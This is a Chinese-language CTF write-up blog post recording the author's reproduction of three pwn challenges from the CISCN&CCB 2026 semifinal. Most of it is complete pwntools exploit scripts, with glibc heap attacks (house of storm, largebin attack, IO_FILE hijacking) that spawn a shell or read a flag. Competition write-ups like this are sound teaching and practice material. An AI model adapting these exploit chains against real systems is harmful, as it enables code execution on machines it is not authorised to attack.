CISCN&CCB-2026-半决赛-pwn-复现记录

前言

没招了,我真被check恶心到了,要不是队内渗透大手子墨尘师傅,我真要寄了,下半场看那个渗透的pwn,我也是没招了,谁家好人windows里面运行elf文件啊,直接白给命令执行我也没招啊。还有那个靶机一,不知道脏牛提权为什么提不上去,哭死,不过还好墨尘师傅梭出来了.......

评分3.0,我是躺赢狗,墨尘师傅评分12.0,他得了mvp!!!

我这里就只放pwn的复现记录了,完整的wp就不放出来(其实是看看会长怎么说),有点丢人说是......

正文

catchme

比赛的时候心态有点崩,试了攻击一些结构体发现这个版本的libc存在硬编码的检查就没再打下去了,应该试一试house of storm的,思路很简单,就是打libc2.23-libc2.29之间都能打的house of storm去申请堆块到__free_hook,将其覆盖为one_gadget就好。

exp:

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

ip="localhost"
port=8080

context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./catchme")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")


cmd = """

dir /home/alpha/CTF/glibc-source/glibc-2.27/elf
dir /home/alpha/CTF/glibc-source/glibc-2.27/malloc

b *$rebase(0x0000000000000B8E)
b _int_malloc
b free
"""

def clear(index):
    sla(">>",str(6))
    sla('index',str(index))

def edit(index,content):
    sla(">>",str(4))
    sla('index:',str(index))
    sa('tag:',content)

def add(co):
    sla(">>",str(1))
    sla('(3)otter',str(co))

def dele(index):
    sla(">>",str(2))
    sla('index',str(index))

def show(index):
    sla(">>",str(3))
    sla('index',str(index))



# edit(3,p64(lb+libc.sym["system"]))
while True:
    p=getProcess(ip,port,'./catchme')
    add(1)
    add(1)
    dele(0)
    show(0)
    ru(b'tag:')
    lb=uu64(rc(6))-(0x71af7cfebca0-0x71af7cc00000)
    print(hex(lb))

    dele(1)

    clear(0)
    clear(1)

    # add(1)#0
    # add(1)#1
    # dele(0)
    # dele(1)
    # clear(0)


    # add(2)#0
    # add(1)#2
    # add(1)#3
    # ##准备unsortbin attack
    # dele(2)
    # print('_mp=',hex(lb+0x3eb2d0))
    # edit(2,p64(lb+0x3eb2d0-0x10))
    # add(1)#4
    # edit(2,p64(lb+libc.sym["__free_hook"]))
    #在做这个攻击之前,我需要将这个tcache的bin给填满
    for i in range(7):
        add(3)
        dele(0)
        clear(0)

    add(2)#0
    add(3)#1
    add(1)#2
    add(3)#3

    dele(2)
    dele(0)
    clear(0)
    add(2)#0
    dele(0)

    fake_chunk = lb + libc.sym["__free_hook"] - 0x10-0x8
    print("__free_hook=",hex(lb+libc.sym["__free_hook"]))
    edit(0,p64(fake_chunk))

    pl=p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5)
    edit(2,pl)

    add(3)#4
    rc(1)
    msg=p.recv(timeout=0.5)
    print('msg=',msg)
    if b'malloc' in msg:
        print("no !!!")
        p.close()
        continue
    else:
        print("success !!!")
        break

'''
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''    
def edit(index,content):
    sl(str(4))
    sla('index:',str(index))
    sa('tag:',content)
edit(4,p64(lb+0x4f302))
# gdbbug(cmd)
dele(4)
ita()

minidb

程序多处UAF,且申请chunk的时候没有清空堆块上的数据,利用这一处的UAF和堆上残留数据就能构造一个堆重叠,构造伪堆块,释放堆块后达到堆重叠,后面打IO就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

ip="localhost"
port=8080

p=getProcess(ip,port,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")

def key_for_idx(idx):
    d = (idx - 37) & 0x3f
    if d < 32:
        key = bytes([d + 64])
    else:
        key = bytes([d])
    assert hash_key_bucket(key) == idx
    return key

def hash_key_bucket(key):
    n = 5
    for byte in key:
        if byte == 0:
            break
        n = (33 * n + byte) & 0xff
    return n & 0x3f

def set(key,content):
    pl=b'SET '+key_for_idx(key)
    sla('>',pl)
    sa('Value> ',content)

def get(key):
    pl=b'GET '+key_for_idx(key)
    sla('>',pl)

def clone(key,dest):# 写一个相同的记录
    pl=b'CLONE '+key_for_idx(key)+b' '+key_for_idx(dest)
    sla('>',pl)

def multi():
    sla(b'>',b'MULTI')

def exec():
    sla(b'>',b'EXEC')

###构造一个chunk,被两个数据信息所指向,利用逻辑漏洞来实现堆块的复用
multi()
set(3,b'a'*0x410)
clone(3,4)
set(3,b'a'*0x410)
set(3,b'a'*0x430)
get(4)
ru(b'VAL: ')
hb=uu64(rc(6))-(0x000059606b119530-0x59606b119000)
print("heapbase=",hex(hb))

set(0,b'a'*0x410)
set(1,b'a'*0x390)


# 我需要在一个堆块当中去构造一个伪造的堆块,借助exec来释放这个伪造的堆块,并且需要去借助这个伪造的堆块来泄露libc地址,之后重复这样的操作来去申请堆块到IO_list_all上去
# 最后get shell
exec()
pl=p64(0)+p64(0x6e0)+p64(hb+0x1240)*2
pl=pl.ljust(0x420,b'\x00')
set(6,pl)
#中间垫一个堆块来实现后续libc地址的泄露
pl=p64(0)*2+p64(hb+0x1930)+p64(hb)+p64(1)
set(7,pl)
set(7,b'a'*0x200)

pl=p64(0x6e0)+p64(0x420)+p64(0)*2
pl=pl.ljust(0x420,b'\x00')
set(7,pl)
set(7,b'a'*0x300)
pl=p64(0x6e0)+p64(0x420)+p64(0)*2
pl=pl.ljust(0x420,b'\x00')
set(7,pl)
multi()
exec()#制造出来堆块重叠

set(8,b'a'*0x200)
pl=p64(0)
pl=pl.ljust(0x3e0-0x20,b'\x00')
pl+=p64(0)+p64(0x41)+p64(0x22)+p64(0)*4+p64(hb+0x1910)+p64(0)+p64(0x41)
pl+=p64(0x23)+p64(0)*4+p64(hb+0x16f0)+p64(1)+p64(0x221)
set(9,pl)

get(8)
ru(b'VAL: ')
lb=uu64(rc(6))-(0x755465c1ace0-0x755465a00000)
print("libc",hex(lb))
# 将所有堆块都申请出来
# set(9,b'a'*0x200)
set(9,b'a'*0x300)

set(10,b'a'*0x200)
set(10,b'a'*0x900)
set(8,b'a'*0x900)
pl=p64(0)
pl=pl.ljust(0x120,b'\x00')
pl+=p64(0)+p64(0x41)+p64(0x22)+p64(0)*4+p64(hb+0x1910)+p64(0)+p64(0x41)
pl+=p64(0x23)+p64(0)*4+p64(hb+0x16f0)+p64(1)+p64(0x221)+p64(((hb+0x16f0)>>12)^(lb+libc.sym["_IO_2_1_stdout_"]-0x10))
set(11,pl)

rdi=lb+0x000000000002a3e5
binsh=lb+next(libc.search('/bin/sh'))
system=lb+libc.sym["system"]

# pl=p64(rdi)+p64(binsh)+p64(system)+p64(0)*4+p64(0x651-0x40)+p64(lb+0x21ace0)*2
pl=p64(rdi)+p64(binsh)+p64(system)+p64(0)*4+p64(0x651-0x40)+p64(lb+0x21ace0)*2
pl=pl.ljust(0x200,b'\x00')
set(12,pl)

libc_base=lb
stdout_addr=lb+libc.sym["_IO_2_1_stdout_"]
pop_rbp=lb+0x000000000002a2e0
leave_ret=lb+0x000000000004da83
heap_addr=hb+0x1700
file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = hb+0x10
file1.chain = leave_ret   
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20

payload=bytes(file1)
payload=payload.ljust(0x200,b'\x00')
# gdbbug(cmd)
set(13,payload)

ita()

easy_rw_revenge

很奇怪,add这里的UAF我也修复了,但是我也没过?不懂,不懂,不懂

很简单,就是直接利用这里的UAF,直接largebin attack就好

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from ctypes import *
import ctypes
from Crypto.Cipher import ARC4

ip="localhost"
port=9999

context(os='linux', arch='amd64', log_level='debug')
# elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/libc.so.6")


def admin_check():
    # 为了简化认证,这里只在调用到这个admin_check才会去做如下的操作:
    '''
    unsigned __int64 __fastcall weak_random_bytes_time_seed(_BYTE *buf, int n32)
    {
    unsigned int seed; // eax
    int i; // [rsp+14h] [rbp-Ch]
    unsigned __int64 v5; // [rsp+18h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    seed = time(0);
    srand(seed);
    for ( i = 0; i < n32; ++i )
    {
        buf[i] = rand();
        printf(" %x ", (unsigned __int8)buf[i]);
    }
    putchar(10);
    return v5 - __readfsqword(0x28u);
    }
    '''
    slibc=cdll.LoadLibrary('./libc.so.6')
    slibc.srand(int(time.time()))
    key = bytearray()
    for i in range(32):
        rd=slibc.rand()&0xff
        # print("rand=",hex(rd))
        key.append(rd)
    print("random_key=",(key).hex())
    target = b"#welcome!_c1sCn_2026\x00"
    cipher = ARC4.new(key)
    stage1 = cipher.encrypt(target)

    pl=p32(0xFFFF2525)+p64(0)+p32(len(stage1))
    sd(pl)
    sd(stage1)


def connect_pwn(cookie,content):
    p=getProcess(ip,port,'./pwn')
    pl=p32(0x7F687985)+p64(0)+p32(len(cookie+content))
    sd(pl)
    sd(cookie+content)

def add(cookie,index,size,content):
    pl=b'rtsp://15772770/{add'
    pl+=b':'+str(size).encode()
    pl+=b':'+str(index).encode()
    pl+=b':'+content
    pl+=b'}'
    connect_pwn(cookie,pl)

def dele(cookie,index):
    pl=b'rtsp://15772770/{delete'
    pl+=b':'+str(index).encode()
    pl+=b':'+b'x'
    pl+=b':'+b'x'
    pl+=b'}'
    connect_pwn(cookie,pl)

def edit(cookie,index,content,size):
    pl=b'rtsp://15772770/{edit'
    pl+=b':'+str(index).encode()
    pl+=b':'+str(size).encode()
    pl+=b':'+content
    pl+=b'}'
    connect_pwn(cookie,pl)

def show(cookie,index):
    pl=b'rtsp://15772770/{show'
    pl+=b':'+str(index).encode()
    pl+=b':'+b'x'
    pl+=b':'+b'x'
    pl+=b'}'
    connect_pwn(cookie,pl)


cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.13_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc

set follow-fork-mode child
set detach-on-fork on

b *$rebase(0x0000000000001A5A)

b *_IO_wdoallocbuf


"""


p=getProcess(ip,port,'./pwn')
admin_check()
cookie=rc(0x20)
print("cookie=",cookie)
p.close()
add(cookie,0,0x510,b'a'*0x20)
add(cookie,1,0x520,b'a'*0x20)
p.close()
#house_of_apple
add(cookie,0,-1,b'a'*0x20)
p.close()

add(cookie,2,0x520,b'a'*0x20)
p.close()

show(cookie,0)
lb=uu64(rc(6))-(0x00007d9c4a01ace0-0x7d9c49e00000)-0x430
print("libc_base=",hex(lb))
rc(2+8)
hb=uu64(rc(6))-(0x00005642aa5963b0-0x5642aa595000)
print("heapbase=",hex(hb))
p.close()

add(cookie,9,0x510,b'a'*0x20)

p.close()
add(cookie,3,0x510,b'a'*0x20)
p.close()
add(cookie,4,0x510,b'a'*0x20)
p.close()

###largebin attack
add(cookie,1,-1,b'a'*0x20)
p.close()
#篡改地址,攻击_IO_list_all
add(cookie,5,0x530,b'a'*0x20)
p.close()

add(cookie,3,-1,b'a'*0x20)
p.close()



pl=p64(lb+0x21b110)*2
pl+=p64(hb+0x18d0)+p64(lb+libc.sym["_IO_list_all"]-0x20)
edit(cookie,1,pl,len(pl))
p.close()
add(cookie,6,0x530,b'a'*0x20)
p.close()

_IO_wfile_jumps = libc.sym._IO_wfile_jumps
libc_base=lb
heap_addr=hb+0x2340
flag_addr=hb+0x2448
fake_IO_FILE = flat({
                0x0: 0,                          # _IO_read_end      这几个不能用于赋值
                0x8: 0,                          # _IO_read_base     这几个不能用于赋值
                0x10: 0,                         # _IO_write_base   这几个不能用于赋值
                0x18: 1,                         # _IO_write_ptr    这几个不能用于赋值
                0x20: libc_base+0x2a3e5,         # _IO_write_end    <<<----fake_IO_wide_data的起始  0x0_IO_read_ptr
                0x28: flag_addr,                 # _IO_buf_base                                    0x8:_IO_read_end
                0x30: libc_base+0x2be51,         # _IO_buf_end                                     0x10:_IO_read_base
                0x38: 0,                         # _IO_save_base                                   0x18:_IO_write_base    <<-- 0
                0x40: libc_base+0x108b73,        # _IO_backup_base                                 0x20:_IO_write_ptr
                0x48: 0,                         # _IO_save_end                                    0x28:_IO_write_end
                0x50: 0,                         # _markers                                        0x30:_IO_buf_base      <<-- 0
                0x58: 0,                         # _chain                                          0x38:_IO_buf_end
                0x60: libc_base+0x45eb0,         # _fileno                                         0x40:_IO_save_base
                0x68: 2,                         # _old_offset                                     0x48:_IO_backup_base
                0x70: libc_base+0x11e90b,        # _cur_column                                     0x50:_IO_save_end
                0x78: libc_base+0x2a3e5,         # _lock                                           0x58:_IO_state
                0x80: 5,                         # _offset                                         0x60:
                0x88: libc_base+0x2be51,         # _codecvt                                        0x68
                0x90: heap_addr+0x20,            # _wide_data                                      0x70:
                0x98: libc_base+0x11f367,        # _freeres_list                                   0x78
                0xa0: 0x100,                     # _freeres_buf                                    0x80
                0xa8: 0,                         # __pad5                                          0x88
                0xb0: libc_base+libc.sym["read"],# _mode                                           0x90
                0xb8: libc_base+0x11f367,        #                                                 0x98
                0xc0: 0x100,                     #                                                 0xa0
                0xc8:_IO_wfile_jumps+libc_base,  # vtable                                          0xa8
                0xd0:libc_base+0x2a3e5,          #                                                 0xb0
                0xd8:4,                          #                                                 0xb8
                0xe0:libc_base+libc.sym["write"],         #                                                 0xc0
                0xe8:0,                          #                                                 0xc8
                0xf0:0,                          #                                                 0xd0
                0xf8:libc_base+0x5a120,#                                                 0xd8
                0x100:heap_addr+0x90,            #                                                 0xe0:_wide_vtable
            })
fake_IO_FILE+=b'./flag\x00\x00'
edit(cookie,3,fake_IO_FILE,len(fake_IO_FILE))
p.close()


dele(cookie,10)
# p.close()

ita()


CISCN&CCB-2026-半决赛-pwn-复现记录
https://a1b2rt.cn//archives/ciscn-ccb-2026-ban-jue-sai-pwn-fu-xian-ji-lu
作者
A1b2rt
发布于
2026年03月24日
许可协议